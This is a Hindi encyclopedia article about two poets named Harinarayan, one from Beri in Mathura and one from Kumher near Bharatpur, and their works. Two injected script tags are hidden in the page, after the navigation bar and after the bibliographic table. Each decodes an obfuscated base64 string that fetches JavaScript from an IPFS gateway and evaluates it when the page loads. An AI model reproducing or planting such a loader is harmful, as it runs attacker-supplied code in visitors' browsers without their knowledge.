हरिनारायण
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
हरिनारायण
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 12 |
पृष्ठ संख्या | 299 |
भाषा | हिन्दी देवनागरी |
संपादक | कमलापति त्रिपाठी |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | रामफेर त्रिपाठी |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
हरिनारायण नामधारी दो कवि हुए हैं - एक हरिनारायण मिश्र और दूसरे हरिनारायण। इनमें एक हरिनारायण बेरी (जिला मथुरा) के निवासी थे। 'बारहमासी' और 'गोवर्धनलीला' खोज में इनकी दो रचनाएँ उपलब्ध हुई हैं। 'बारहमासी' में कांता प्रत्येक मास में होने वाले दु:खों का वर्णन कर अपने पति को प्रवास जाने से रोकती है। 'गोवर्धनलीला' प्रबंधात्मक रचना है जिसमें श्रीकृष्ण इंद्रपूजा का निषेध करवाकर नंद गोपों से गोवर्धन पुजवाते हैं। कवित्व के विचार से इन दोनों ही रचनाओं का साधारण महत्व है। दूसरे हरिनारायण भरतपुर में स्थित कुम्हेर के निवासी ब्राह्मण थे। इनकी तीन रचनाएँ बताई गई हैं-
- 'माधवानलकामकंदला',
- 'बैतालपचीसी' कथाप्रधान रचना है।
- तीसरी रचना 'रुक्मिणीमंगल' में श्रीकृष्णप्रिया रुक्मिणी के हरण का वर्णन है।
पहले हरिनारायण की अपेक्षा दूसरे हरिनारायण में काव्यगरिमा अधिक है।
टीका टिप्पणी और संदर्भ